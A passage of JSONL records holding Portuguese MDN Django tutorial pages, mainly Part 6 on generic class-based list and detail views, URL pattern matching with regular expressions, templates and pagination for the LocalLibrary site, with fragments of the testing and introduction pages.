aprendeu, poderá criar testes unitários eficazes para seus websites.\n\nO próximo e último tutorial mostra como você pode implantar seu maravilhoso (e totalmente testado!) website Django.\n\nVeja também\n-----------\n\n* Escrevendo e executando testes (Django docs)\n* Escrevendo seu primeiro app Django, parte 5 > Introduzindo testes automatizados (Django docs)\n* Refererências de ferramentas de teste (Django docs)\n* Tópicos avançados de testes (Django docs)\n* Um Guia para testes no Django (Toast Driven Blog, 2011)\n* Workshop: Desenvolvimento web Orientado a Testes com Django (San Diego Python, 2014)\n* Testando no Django (Parte 1) - Melhores práticas e Exemplos (RealPython, 2013)\n* Anterior\n* Menu: Django\n* Próxima"}
{"title":"Tutorial Django Parte 6: Lista genérica e detail views - Aprendendo desenvolvimento web","text":"Tutorial Django Parte 6: Lista genérica e detail views\n======================================================\n\n* Anterior\n* Menu: Django\n* Próxima\n\nEste tutorial estende nosso website LocalLibrary, adicionando páginas de lista e detalhes para livros e autores. Aqui, aprenderemos sobre visualizações genéricas baseadas em classe e mostraremos como elas podem reduzir a quantidade de código que você precisa escrever para casos de uso comuns. Também abordaremos o tratamento de URLs em mais detalhes, mostrando como executar a correspondência básica de padrões.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conclua todos os tópicos do tutorial anterior, incluindo\n Django Tutorial Part 5: Creating our home page.\n  |\n| Objetivo: | \n Para entender onde e como usar modos de exibição genéricos baseados em\n classe e como extrair padrões de URLs e passar as informações para modos\n de exibição.\n  |\n\nVisão global\n------------\n\nNeste tutorial, vamos concluir a primeira versão do website LocalLibrary adicionando páginas de lista e detalhes de livros e autores (ou, para ser mais preciso, mostraremos como implementar as páginas do livro e você mesmo irá criar as páginas dos autores!)\n\nO processo é semelhante à criação da página index, que mostramos no tutorial anterior. Ainda precisamos criar mapas de URL, views e templates. A principal diferença é que, para as páginas de detalhes, teremos o desafio adicional de extrair informações de padrões no URL e passá-las para a visualização. Para essas páginas, demonstraremos um tipo de exibição completamente diferente: lista genérica baseada em classe e exibições detalhadas. Isso pode reduzir significativamente a quantidade de código de visualização necessária, facilitando a gravação e a manutenção.\n\nA parte final do tutorial demonstrará como paginar seus dados ao usar visualizações de lista genéricas baseadas em classe.\n\nBook list page\n--------------\n\nA página da lista de livros exibirá uma lista de todos os registros de livros disponíveis na página, acessados usando o URL: `catalog/books/`. A página exibirá um título e um autor para cada registro, com o título sendo um hiperlink para a página de detalhes do livro associada. A página terá a mesma estrutura e navegação que todas as outras páginas do site e, portanto, podemos estender o modelo base (**base\\_generic.html**) que criamos no tutorial anterior.\n\n### URL mapping\n\nAbra **/catalog/urls.py** e copie na linha mostrada em negrito abaixo. Quanto à página index, a função `path()` define um padrão para corresponder ao URL (**'books/'**), a função view que será chamado se o URL corresponder (`views.BookListView.as_view()`), e um nome para esse mapeamento específico.\n\n\n```python\nurlpatterns = [\n    path('', views.index, name='index'),\n    path('books/', views.BookListView.as_view(), name='books'),\n]\n```\n\n\nConforme discutido no tutorial anterior, o URL já deve ter correspondencia `/catalog`, então a visualização será realmente chamada para o URL: `/catalog/books/`.\n\nA função view tem um formato diferente do que antes - é porque essa view será realmente implementada como uma classe. Herdaremos de uma função view genérica existente que já faz a maior parte do que queremos que essa função view faça, em vez de escrever a nossa a partir do zero.\n\nPara as class-based views do Django, acessamos uma função de visualização apropriada chamando o método de classe `as_view()`. Isso faz todo o trabalho de criar uma instância da classe e garantir que os métodos do manipulador certo sejam chamados para solicitações HTTP recebidas.\n\n### View (class-based)\n\nPoderíamos escrever com facilidade a view da lista de livros como uma função regular (assim como a view index anterior), que consultaria todos os livros no banco de dados e depois chamaria `render()` para passar a lista para um modelo especificado. No entanto, usaremos uma view de lista genérica class-based (`ListView`) — uma classe que herda de uma view existente. Como a view genérica já implementa a maioria das funcionalidades necessárias e segue as práticas recomendadas do Django, poderemos criar uma exibição de lista mais robusta com menos código, menos repetições e, finalmente, menos manutenção.\n\nAbra **catalog/views.py**, e copie o seguinte código na parte inferior do arquivo:\n\n\n```python\nfrom django.views import generic\n\nclass BookListView(generic.ListView):\n    model = Book\n```\n\n\nÉ isso aí! A view genérica consultará o banco de dados para obter todos os registros para o modelo especificado (`Book`) em seguida, renderize um template localizado em **/locallibrary/catalog/templates/catalog/book\\_list.html** (que criaremos abaixo). Dentro do template, você pode acessar a lista de livros com a variável de template denominada `object_list` OU `book_list` (i.e. genericamente \"`the_model_name_list`\").\n\n**Nota:** Esse caminho estranho para a localização do template não é um erro de impressão - as visualizações genéricas procuram modelos em `/application_name/the_model_name_list.html` (`catalog/book_list.html` nesse caso) dentro do aplicativo `/application_name/templates/` diretório (`/catalog/templates/)`.\n\nVocê pode adicionar atributos para alterar o comportamento padrão acima. Por exemplo, você pode especificar outro arquivo do template se precisar ter várias visualizações que usem esse mesmo modelo ou se desejar usar um nome de variável de template diferente se `book_list` não é intuitivo para o seu caso de uso de template específico. Possivelmente, a variação mais útil é alterar/filtrar o subconjunto de resultados retornados - portanto, em vez de listar todos os livros, você pode listar os cinco principais livros que foram lidos por outros usuários.\n\n\n```python\nclass BookListView(generic.ListView):\n    model = Book\n    context_object_name = 'my\\_book\\_list'   # your own name for the list as a template variable\n    queryset = Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war\n    template_name = 'books/my\\_arbitrary\\_template\\_name\\_list.html'  # Specify your own template name/location\n```\n\n\n#### Substituindo métodos em class-based views\n\nEmbora não precisemos fazer isso aqui, você também pode substituir alguns dos métodos da classe.\n\nPor exemplo, podemos substituir o método `get_queryset()` para alterar a lista de registros retornados. Isso é mais flexível do que apenas definir o atributo `queryset` como fizemos no fragmento de código anterior (embora não haja nenhum benefício real neste caso):\n\n\n```python\nclass BookListView(generic.ListView):\n    model = Book\n\n    def get\\_queryset(self):\n        return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war\n```\n\n\nTambém podemos substituir `get_context_data()` para passar variáveis de contexto adicionais para o template (por exemplo, a lista de livros é passada por padrão). O fragmento abaixo mostra como adicionar uma variável chamada \"`some_data`\" para o contexto (estaria disponível como uma variável de template).\n\n\n```python\nclass BookListView(generic.ListView):\n    model = Book\n\n    def get\\_context\\_data(self, \\*\\*kwargs):\n        # Call the base implementation first to get the context\n        context = super(BookListView, self).get_context_data(\\*\\*kwargs)\n        # Create any data and add it to the context\n        context['some\\_data'] = 'This is just some data'\n        return context\n```\n\n\nAo fazer isso, é importante seguir o padrão usado acima:\n\n* Primeiro obtenha o contexto existente da nossa superclasse.\n* Em seguida, adicione as novas informações de contexto.\n* Em seguida, retorne o novo contexto (atualizado).\n\n**Nota:** Confira Built-in class-based generic views (Django docs) para muitos mais exemplos do que você pode fazer.\n\n### Criando o template List View\n\nCrie o arquivo HTML **/locallibrary/catalog/templates/catalog/book\\_list.html** e copie o texto abaixo. Como discutido acima, este é o arquivo de template padrão esperado pela list view genérica da class-based view (para um modelo chamado `Book` em um aplicativo chamado `catalog`).\n\nOs templates para visualizações genéricas são como qualquer outro template (*embora*, é claro, o contexto/informações passadas para o template possam ser diferentes). Assim como em nosso template *index*, estendemos nosso template base na primeira linha e substituímos o bloco denominado `content`.\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  <h1>Book List</h1>\n  {% if book\\_list %}\n  <ul>\n    {% for book in book\\_list %}\n      <li>\n        <a href=\"{{ book.get\\_absolute\\_url }}\">{{ book.title }}</a> ({{book.author}})\n      </li>\n    {% endfor %}\n  </ul>\n  {% else %}\n    <p>There are no books in the library.</p>\n  {% endif %}\n{% endblock %}\n```\n\n\nA view passa o contexto (lista de livros), por padrão, um `object_list` e `book_list` aliases; qualquer um funcionará.\n\n#### Execução conditional\n\nNós usamos o `if`, `else`, e `endif` template tags para verificar se o `book_list` foi definido e não está vazio. E se `book_list` está vazio, então a cláusula `else` exibe o texto explicando que não há livros para listar. E se `book_list` não estiver vazio, percorreremos a lista de livros.\n\n\n```django\n{% if book\\_list %}\n  <!-- code here to list the books -->\n{% else %}\n  <p>There are no books in the library.</p>\n{% endif %}\n```\n\n\nA condição acima verifica apenas um caso, mas você pode testar em condições adicionais usando a template tag `elif` (e.g. `{% elif var2 %}`). Para obter mais informações sobre operadores condicionais, consulte: if, ifequal/ifnotequal, e ifchanged em Built-in template tags and filters (Django Docs).\n\n#### For loops\n\nO template usa as template tags for e `endfor` para percorrer a lista de livros, como mostrado abaixo. Cada iteração preenche a variável de template `book` com informações para o item da lista atual.\n\n\n```django\n{% for book in book\\_list %}\n  <li><!-- code here get information from each book item --></li>\n{% endfor %}\n```\n\n\nEmbora não seja usado aqui, dentro do loop, o Django também criará outras variáveis que você pode usar para rastrear a iteração. Por exemplo, você pode testar a variável `forloop.last` para executar o processamento condicional na última vez em que o loop é executado.\n\n#### Acessando variáveis\n\nO código dentro do loop cria um item de lista para cada livro que mostra o título (como um link para a exibição de detalhes ainda a ser criada) e o autor.\n\n\n```html\n<a href=\"{{ book.get\\_absolute\\_url }}\">{{ book.title }}</a> ({{book.author}})\n```\n\n\nAcessamos os *campos* do registro de livro associado usando a \"notação de ponto\" (e.g. `book.title` e `book.author`), onde o texto após o item `book` é o nome do campo (conforme definido no modelo).\n\nTambém podemos chamar *funções* no modelo de dentro do nosso template - nesse caso, chamamos `Book.get_absolute_url()` para obter um URL que você pode usar para exibir o registro de detalhe associado. Isso funciona desde que a função não tenha argumentos (não há como passar argumentos!)\n\n**Nota:** Temos que ter um pouco de cuidado com os \"efeitos colaterais\" ao chamar funções em templates. Aqui apenas exibimos um URL, mas uma função pode fazer praticamente qualquer coisa - não queremos excluir nosso banco de dados (por exemplo) apenas renderizando nosso template!\n\n#### Atualize o template base\n\nAbra o template base (**/locallibrary/catalog/templates/*base\\_generic.html***) e insira **{% url 'books' %}** no link da URL para **All books**,como mostrado abaixo. Isso habilitará o link em todas as páginas (podemos colocá-lo em prática agora que criamos o mapeador de URL \"books\").\n\n\n```python\n<li><a href=\"{% url 'index' %}\">Home</a></li>\n<li><a href=\"{% url 'books' %}\">All books</a></li>\n<li><a href=\"\">All authors</a></li>\n```\n\n### Com o que se parece?\n\nAinda não será possível criar a lista de livros, porque ainda falta uma dependência - o mapa de URL para as páginas de detalhes do livro, necessário para criar hiperlinks para livros individuais. Mostraremos as visualizações de lista e de detalhes após a próxima seção.\n\nPagina Book detail\n------------------\n\nA página book detail exibirá informações sobre um livro específico, acessado usando o URL `catalog/book/<id>` (onde `<id>` é a chave primária do livro). Além dos campos no model `Book` (author, summary, ISBN, language, e genre), também listaremos os detalhes das cópias disponíveis (`BookInstances`) incluindo o status, data prevista de retorno, impressão e ID. Isso permitirá que nossos leitores não apenas saibam sobre o livro, mas também confirmem se/quando ele está disponível.\n\n### URL mapping\n\nAbra **/catalog/urls.py** e adicione a URL '**book-detail**' mostrado em negrito abaixo. Esta função `path()` define um padrão, exibição de detalhes genérica associada à classe associada e um nome.\n\n\n```python\nurlpatterns = [\n    path('', views.index, name='index'),\n    path('books/', views.BookListView.as_view(), name='books'),\n    path('book/<int:pk>', views.BookDetailView.as_view(), name='book-detail'),\n]\n```\n\n\nPara o path *book-detail* o padrão de URL usa uma sintaxe especial para capturar o ID específico do livro que queremos ver. A sintaxe é muito simples: colchetes angulares definem a parte da URL a ser capturada, incluindo o nome da variável que a view pode usar para acessar os dados capturados. Por exemplo, **<something>** , capturará o padrão marcado e passará o valor para a visualização como uma variável \"alguma coisa\". Opcionalmente, você pode preceder o nome da variável com um converter specification que define o tipo de dados (int, str, slug, uuid, path).\n\nNeste caso, usamos `'<int:pk>'` para capturar o ID do livro, que deve ser uma sequência especialmente formatada e passá-la para a view como um parâmetro chamado `pk` (abreviatura de primary key). Esta é a id que está sendo usado para armazenar o livro exclusivamente no banco de dados, conforme definido no Book Model.\n\n**Nota:** Como discutido anteriormente, nosso URL correspondente é realmente `catalog/book/<digits>` (porque estamos no aplicativo de **catalog**, `/catalog/` é assumido).\n\n**Aviso:** **Importante**: A view de detalhes genérica class-based *espera* receber um parâmetro chamado **pk**. Se você estiver escrevendo sua própria função view, poderá usar o nome de qualquer parâmetro que desejar, ou mesmo transmitir as informações em um argumento sem nome.\n\n#### Correspondência avançada de caminhos/iniciador de expressão regular\n\n**Nota:** Você não precisará desta seção para concluir o tutorial! Nós fornecemos isso porque conhecer essa opção provavelmente será útil no seu futuro centrado no Django.\n\nThe pattern matching provided by `path()` is simple and useful for the (very common) cases where you just want to capture *any* string or integer. If you need more refined filtering (for example, to filter only strings that have a certain number of characters) then you can use the re\\_path() method.\n\nThis method is used just like `path()` except that it allows you to specify a pattern using a Regular expression. For example, the previous path could have been written as shown below:\n\n\n```python\nre_path(r'^book/(?P<pk>\\d+)$', views.BookDetailView.as_view(), name='book-detail'),\n```\n\n\n*Regular expressions* are an incredibly powerful pattern mapping tool. They are, frankly, quite unintuitive and scary for beginners. Below is a very short primer!\n\nThe first thing to know is that regular expressions should usually be declared using the raw string literal syntax (i.e. they are enclosed as shown: **r'<your regular expression text goes here>'**).\n\nThe main parts of the syntax you will need to know for declaring the pattern matches are:\n\n| Symbol | Meaning |\n| --- | --- |\n| ^ | Match the beginning of the text |\n| $ | Match the end of the text |\n| \\d | Match a digit (0, 1, 2, ... 9) |\n| \\w | Match a word character, e.g. any upper- or lower-case character in the alphabet, digit or the underscore character (\\_) |\n| + | Match one or more of the preceding character. For example, to match one or more digits you would use `\\d+`. To match one or more \"a\" characters, you could use `a+` |\n| \\* | Match zero or more of the preceding character. For example, to match nothing or a word you could use `\\w*` |\n| ( ) | Capture the part of the pattern inside the brackets. Any captured values will be passed to the view as unnamed parameters (if multiple patterns are captured, the associated parameters will be supplied in the order that the captures were declared). |\n| (?P<*name*>...) | Capture the pattern (indicated by ...) as a named variable (in this case \"name\"). The captured values are passed to the view with the name specified. Your view must therefore declare an argument with the same name! |\n| [ ] | Match against one character in the set. For example, [abc] will match on 'a' or 'b' or 'c'. [-\\w] will match on the '-' character or any word character. |\n\nMost other characters can be taken literally!\n\nLet's consider a few real examples of patterns:\n\n| Pattern | Description |\n| --- | --- |\n| **r'^book/(?P<pk>\\d+)$'** | This is the RE used in our URL mapper. It matches a string that has `book/` at the start of the line (**^book/**), then has one or more digits (`\\d+`), and then ends (with no non-digit characters before the end of line marker).It also captures all the digits **(?P<pk>\\d+)** and passes them to the view in a parameter named 'pk'. \\*\\*The captured values are always passed as a string!\\*\\*For example, this would match `book/1234` , and send a variable `pk='1234'` to the view. |\n| **r'^book/(\\d+)$'** | This matches the same URLs as the preceding case. The captured information would be sent as an unnamed argument to the view. |\n| **r'^book/(?P<stub>[-\\w]+)$'** | This matches a string that has `book/` at the start of the line (**^book/**), then has one or more characters that are *either* a '-' or a word character (**[-\\w]+**), and then ends. It also captures this set of characters and passes them to the view in a parameter named 'stub'.This is a fairly typical pattern for a \"stub\". Stubs are URL-friendly word-based primary keys for data. You might use a stub if you wanted your book URL to be more informative. For example `/catalog/book/the-secret-garden` rather than `/catalog/book/33`. |\n\nYou can capture multiple patterns in the one match, and hence encode lots of different information in a URL.\n\n**Nota:** Como desafio, considere como você pode codificar um URL para listar todos os livros lançados em um determinado ano, mês, dia e o RE que poderia ser usado para correspondê-lo.\n\n#### Passando opções adicionais em seus mapas de URL\n\nUm recurso que não usamos aqui, mas que você pode achar valioso, é que você pode declarar e passar opções adicionais para a view. As opções são declaradas como um dicionário que você passa como o terceiro argumento sem nome para a função `path()`. Essa abordagem pode ser útil se você desejar usar a mesma visualização para vários recursos e transmitir dados para configurar seu comportamento em cada caso (abaixo, fornecemos um modelo diferente em cada caso).\n\n\n```python\npath('url/', views.my_reused_view, {'my\\_template\\_name': 'some\\_path'}, name='aurl'),\npath('anotherurl/', views.my_reused_view, {'my\\_template\\_name': 'another\\_path'}, name='anotherurl'),\n```\n\n\n**Nota:** As opções extras e os padrões capturados nomeados são passados para a view como argumentos *nomeados*. Se você usar o **mesmo nome** para um padrão capturado e uma opção extra, somente o valor do padrão capturado será enviado para a visualização (o valor especificado na opção adicional será descartado).\n\n### View (class-based)\n\nAbra **catalog/views.py**, e copie o seguinte código na parte inferior do arquivo:\n\n\n```python\nclass BookDetailView(generic.DetailView):\n    model = Book\n```\n\n\nÉ isso aí! Tudo o que você precisa fazer agora é criar um modelo chamado **/locallibrary/catalog/templates/catalog/book\\_detail.html**, e a visualização passará as informações do banco de dados para o registro `Book` extraído pelo mapeador de URL. Dentro do modelo, você pode acessar a lista de livros com a variável de modelo denominada `object` ou `book` (i.e. genericamente \"`the_model_name`\").\n\nSe necessário, você pode alterar o template usado e o nome do objeto de contexto usado para referenciar o livro no template. Você também pode substituir métodos para, por exemplo, adicionar informações adicionais ao contexto.\n\n#### O que acontece se o registro não existir?\n\nSe um registro solicitado não existir, a view de detalhes genérica class-based levantará uma exceção `Http404` para você automaticamente — em produção, isso exibirá automaticamente uma página apropriada de \"resource not found\", que você pode personalizar se desejar.\n\nApenas para lhe dar uma idéia de como isso funciona, o fragmento de código abaixo demonstra como você implementaria a exibição baseada em classe como uma função se você não estivesse usando a view de detalhe genérica class-based.\n\n\n```python\ndef book\\_detail\\_view(request, primary_key):\n    try:\n        book = Book.objects.get(pk=primary_key)\n    except Book.DoesNotExist:\n        raise Http404('Book does not exist')\n\n    return render(request, 'catalog/book\\_detail.html', context={'book': book})\n```\n\n\nA view tenta primeiro obter o registro de livro específico do modelo. Se isso falhar, a view deve gerar uma exceção `Http404` para indicar que o livro \"não foi encontrado\". A etapa final é, como sempre, chamar `render()` com o nome do template e os dados do livro no parâmetro `context` (como um dicionário).\n\nComo alternativa, podemos usar a função `get_object_or_404()` como um atalho para levantar uma exceção `Http404` se o registro não for encontrado.\n\n\n```python\nfrom django.shortcuts import get_object_or_404\n\ndef book\\_detail\\_view(request, primary_key):\n    book = get_object_or_404(Book, pk=primary_key)\n    return render(request, 'catalog/book\\_detail.html', context={'book': book})\n```\n\n### Criando o template Detail View\n\nCrie o arquivo HTML **/locallibrary/catalog/templates/catalog/book\\_detail.html** e forneça o conteúdo abaixo. Conforme discutido acima, este é o nome do arquivo de template padrão esperado pela view de *detalhes* genérica class-based (para um modelo chamado `Book` no aplicativo chamado `catalog`).\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  <h1>Title: {{ book.title }}</h1>\n\n  <p><strong>Author:</strong> <a href=\"\">{{ book.author }}</a></p> <!-- author detail link not yet defined -->\n  <p><strong>Summary:</strong> {{ book.summary }}</p>\n  <p><strong>ISBN:</strong> {{ book.isbn }}</p>\n  <p><strong>Language:</strong> {{ book.language }}</p>\n  <p><strong>Genre:</strong> {% for genre in book.genre.all %} {{ genre }}{% if not forloop.last %}, {% endif %}{% endfor %}</p>\n\n  <div style=\"margin-left:20px;margin-top:20px\">\n    <h4>Copies</h4>\n\n    {% for copy in book.bookinstance\\_set.all %}\n      <hr>\n      <p class=\"{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}\">{{ copy.get\\_status\\_display }}</p>\n      {% if copy.status != 'a' %}\n        <p><strong>Due to be returned:</strong> {{copy.due\\_back}}</p>\n      {% endif %}\n      <p><strong>Imprint:</strong> {{copy.imprint}}</p>\n      <p class=\"text-muted\"><strong>Id:</strong> {{copy.id}}</p>\n    {% endfor %}\n  </div>\n{% endblock %}\n```\n\n\n**Nota:** O link do autor no template acima tem um URL vazio porque ainda não criamos uma página de detalhes do autor. Uma vez que isso exista, você deve atualizar o URL assim:\n\n\n```django\n<a href=\"{% url 'author-detail' book.author.pk %}\">{{ book.author }}</a>\n```\n\n\nEmbora um pouco maior, quase tudo neste template foi descrito anteriormente:\n\n* Estendemos nosso modelo básico e substituímos o bloco \"content\".\n* Usamos o processamento condicional para determinar se deve ou não exibir conteúdo específico.\n* Usamos `for` loops para percorrer as listas de objetos.\n* Acessamos os campos de contexto usando a notação de ponto (porque usamos a exibição genérica detalhada, o contexto é chamado `book`; também poderíamos usar \"`object`\")\n\nA única coisa interessante que não vimos antes é a função `book.bookinstance_set.all()`. Este método é \"automagicamente\" construído pelo Django para retornar o conjunto de registros `BookInstance` associados com um `Book` em particular.\n\n\n```django\n{% for copy in book.bookinstance\\_set.all %}\n  <!-- code to iterate across each copy/instance of a book -->\n{% endfor %}\n```\n\n\nEste método é necessário porque você declara um campo `ForeignKey` (um-para-muitos) somente no lado \"um\" do relacionamento. Como você não faz nada para declarar o relacionamento nos outros modelos (\"muitos\"), ele não possui nenhum campo para obter o conjunto de registros associados. Para superar esse problema, o Django constrói uma função \"pesquisa reversa\" chamada de forma apropriada, que você pode usar. O nome da função é construído com letras minúsculas no nome do modelo em que o `ForeignKey` foi declarado, seguido por `_set` (i.e. então a função criada em `Book` é `bookinstance_set()`).\n\n**Nota:** Aqui usamos `all()` para obter todos os registros (o padrão). Enquanto você pode usar o método `filter()` para obter um subconjunto de registros no código, não é possível fazer isso diretamente nos modelos, porque não é possível especificar argumentos para funções.\n\nObserve também que, se você não definir um pedido (na sua class-based view ou modelo), também verá erros do servidor de desenvolvimento como este:\n```\n\n[29/May/2017 18:37:53] \"GET /catalog/books/?page=1 HTTP/1.1\" 200 1637\n/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: <QuerySet [<Author: Ortiz, David>, <Author: H. McRaven, William>, <Author: Leigh, Melinda>]>\n  allow_empty_first_page=allow_empty_first_page, **kwargs)\n```\n\n\nIsso acontece porque o objeto paginator espera ver algum ORDER BY sendo executado no seu banco de dados subjacente. Sem ele, não é possível garantir que os registros que estão sendo retornados estejam na ordem certa!\n\nEste tutorial não atingiu a **Paginação** (ainda, mas em breve), mas como você não pode usar `sort_by()` e passar um parâmetro (o mesmo com `filter()` descrito acima), você terá que escolher entre três opções:\n\n1. Adicione um `ordering` dentro de uma declaração `class Meta` no seu model.\n2. Adicione um atributo `queryset` na sua class-based view, especificando um `order_by()`.\n3. Adicione um método `get_queryset` à sua class-based view personalisada e também especifique o `order_by()`.\n\nSe você decidir ir com uma `class Meta` no model `Author` (provavelmente não tão flexível quanto personalizar o class-based view, mas fácil o suficiente), você terminará com algo assim:\n\n\n```python\nclass Author(models.Model):\n    first_name = models.CharField(max_length=100)\n    last_name = models.CharField(max_length=100)\n    date_of_birth = models.DateField(null=True, blank=True)\n    date_of_death = models.DateField('Died', null=True, blank=True)\n\n    def get\\_absolute\\_url(self):\n        return reverse('author-detail', args=[str(self.id)])\n\n    def \\_\\_str\\_\\_(self):\n        return f'{self.last\\_name}, {self.first\\_name}'\n\n    class Meta:\n        ordering = ['last\\_name']\n```\n\n\nObviamente, o campo não precisa ser `last_name`: poderia ser qualquer outro.\n\nE por último, mas não menos importante, você deve classificar por um atributo/coluna que realmente tenha um índice (exclusivo ou não) em seu banco de dados para evitar problemas de desempenho. Obviamente, isso não será necessário aqui (e provavelmente estamos nos adiantando muito) com tão poucos livros (e usuários!), Mas é algo a ser lembrado em projetos futuros.\n\nCom o que se parece agora?\n--------------------------\n\nNesse ponto, deveríamos ter criado tudo o necessário para exibir a lista de livros e as páginas de detalhes do livro. Execute o servidor (`python3 manage.py runserver`) e abra no seu navegador `http://127.0.0.1:8000/`.\n\n**Aviso:** Não clique em nenhum autor ou link de detalhes do autor ainda - você os criará no desafio!\n\nClique no link **All books** para exibir a lista de livros.\n\n![Book List Page](/pt-BR/docs/Learn/Server-side/Django/Generic_views/book_list_page_no_pagination.png)\n\nEm seguida, clique no link de um dos seus livros. Se tudo estiver configurado corretamente, você deverá ver algo como a seguinte captura de tela.\n\n![Book Detail Page](/pt-BR/docs/Learn/Server-side/Django/Generic_views/book_detail_page_no_pagination.png)\n\nPaginação\n---------\n\nSe você tiver apenas alguns registros, nossa página da lista de livros ficará bem. No entanto, à medida que você entra nas dezenas ou centenas de registros, a página levará progressivamente mais tempo para carregar (e terá muito conteúdo para navegar com sensatez). A solução para esse problema é adicionar paginação às exibições de lista, reduzindo o número de itens exibidos em cada página.\n\nO Django possui excelente suporte embutido para paginação. Melhor ainda, isso é incorporado às exibições de lista genéricas baseadas em classes, para que você não precise fazer muito para habilitá-lo!\n\n### Views\n\nAbra **catalog/views.py**, e adicionea linha `paginate_by` mostrado em negrito abaixo.\n\n\n```python\nclass BookListView(generic.ListView):\n    model = Book\n    paginate_by = 10\n```\n\n\nCom essa adição, assim que você tiver mais de 10 registros, a visualização começará a paginar os dados que envia para o modelo. As diferentes páginas são acessadas usando os parâmetros GET - para acessar a página 2, você usaria o URL: `/catalog/books/?page=2`.\n\n### Templates\n\nAgora que os dados estão paginados, precisamos adicionar suporte ao modelo para rolar pelo conjunto de resultados. Como podemos fazer isso em todas as visualizações de lista, faremos isso de uma maneira que possa ser adicionada ao modelo base.\n\nAbra **/locallibrary/catalog/templates/*base\\_generic.html*** e copie no seguinte bloco de paginação, abaixo do nosso bloco de conteúdo (destacado abaixo em negrito). O código primeiro verifica se a paginação está ativada na página atual. Nesse caso, adiciona os links seguintes e anteriores, conforme apropriado (e o número da página atual).\n\n\n```django\n{% block content %}{% endblock %}\n\n{% block pagination %}\n  {% if is\\_paginated %}\n    <div class=\"pagination\">\n      <span class=\"page-links\">\n        {% if page\\_obj.has\\_previous %}\n          <a href=\"{{ request.path }}?page={{ page\\_obj.previous\\_page\\_number }}\">previous</a>\n        {% endif %}\n        <span class=\"page-current\">\n          Page {{ page\\_obj.number }} of {{ page\\_obj.paginator.num\\_pages }}.\n        </span>\n        {% if page\\_obj.has\\_next %}\n          <a href=\"{{ request.path }}?page={{ page\\_obj.next\\_page\\_number }}\">next</a>\n        {% endif %}\n      </span>\n    </div>\n  {% endif %}\n{% endblock %}\n```\n\n\nO `page_obj` é um objeto de Paginator que existirá se a paginação estiver sendo usada na página atual. Permite obter todas as informações sobre a página atual, as páginas anteriores, quantas páginas existem, etc.\n\nUsamos `{{ request.path }}` para obter o URL da página atual para criar os links de paginação. Isso é útil porque é independente do objeto que estamos paginando.\n\nÉ isso aí!\n\n### Com o que se parece agora?\n\nA captura de tela abaixo mostra a aparência da paginação - se você não inseriu mais de 10 títulos no banco de dados, pode testá-lo com mais facilidade, abaixando o número especificado na linha `paginate_by` no seu arquivo **catalog/views.py**. Para obter o resultado abaixo, alteramos para `paginate_by = 2`.\n\nOs links de paginação são exibidos na parte inferior, com os links seguinte/anterior, dependendo da página em que você está.\n\n![Book List Page - paginated](/pt-BR/docs/Learn/Server-side/Django/Generic_views/book_list_paginated.png)\n\nChallenge yourself\n------------------\n\nThe challenge in this article is to create the author detail and list views required to complete the project. These should be made available at the following URLs:\n\n* `catalog/authors/` — The list of all authors.\n* `catalog/author/<id>` — The detail view for the specific author with a primary key field named `<id>`\n\nThe code required for the URL mappers and the views should be virtually identical to the `Book` list and detail views we created above. The templates will be different but will share similar behaviour.\n\n**Nota:**\n\n* Once you've created the URL mapper for the author list page you will also need to update the **All authors** link in the base template. Follow the same process as we did when we updated the **All books** link.\n* Once you've created the URL mapper for the author detail page, you should also update the book detail view template (**/locallibrary/catalog/templates/catalog/book\\_detail.html**) so that the author link points to your new author detail page (rather than being an empty URL). The line will change to add the template tag shown in bold below.\n\n```django\n<p>\n  <strong>Author:</strong>\n  <a href=\"{% url 'author-detail' book.author.pk %}\">{{ book.author }}</a>\n</p>\n```\n\n\nWhen you are finished, your pages should look something like the screenshots below.\n\n![Author List Page](/pt-BR/docs/Learn/Server-side/Django/Generic_views/author_list_page_no_pagination.png)\n\n![Author Detail Page](/pt-BR/docs/Learn/Server-side/Django/Generic_views/author_detail_page_no_pagination.png)\n\nSummary\n-------\n\nCongratulations, our basic library functionality is now complete!\n\nIn this article, we've learned how to use the generic class-based list and detail views and used them to create pages to view our books and authors. Along the way we've learned about pattern matching with regular expressions, and how you can pass data from URLs to your views. We've also learned a few more tricks for using templates. Last of all we've shown how to paginate list views so that our lists are manageable even when we have many records.\n\nIn our next articles, we'll extend this library to support user accounts, and thereby demonstrate user authentication, permissons, sessions, and forms.\n\nSee also\n--------\n\n* Built-in class-based generic views (Django docs)\n* Generic display views (Django docs)\n* Introduction to class-based views (Django docs)\n* Built-in template tags and filters (Django docs).\n* Pagination (Django docs)\n* Anterior\n* Menu: Django\n* Próxima"}
{"title":"Introdução ao Django - Aprendendo desenvolvimento web","text":"Introdução ao Django\n====================\n\n* Menu: Django\n* Próxima\n\nNeste primeiro artigo do Django, respondemos a pergunta \"O que é o Django?\" e daremos uma visão geral do que torna este framework web especial. Vamos descrever os principais recursos, incluindo algumas das funcionalidades avançadas que não teremos tempo para abordar detalhadamente neste módulo. Também mostraremos alguns dos principais blocos de construção de um aplicativo Django (embora neste momento você ainda não tenha um ambiente de desenvolvimento para testá-lo).\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimentos básicos em computação. Um entendimento geral de\n programação de websites do lado do servidor\n e, em particular, a mecânica de\n interações cliente-servidor em websites.\n  |\n| Objetivos: | \n Ganhar familiaridade com o que é o Django, quais funcionalidades ele\n fornece e os principais blocos de construção de uma aplicação django.\n  |\n\nO que é Django?\n---------------\n\nDjango é um framework web Python de alto nível que permite o rápido desenvolvimento de sites seguros e de fácil manutenção. Construido por desenvolvedores experientes, o Django cuida de grande parte do trabalho de desenvolvimento web, para que você possa se concentrar em escrever seu aplicativo sem precisar reinventar a roda. É gratuito e de código aberto, tem uma comunidade próspera e ativa, ótima documentação e muitas opções de suporte gratuito e pago.\n\nDjango ajuda você a escrever programas que são:\n\nCompleto\n\nDjango segue a filosofia de \"baterias incluídas\" e fornece quase tudo que desenvolvedores possam querer fazer \"fora da caixa\". Como tudo o que você precisa é parte de um \"produto\", tudo funciona perfeitamente junto, seguindo princípios de design consistentes, contando uma extensa e atualizada documentação.\n\nVersátil\n\nDjango 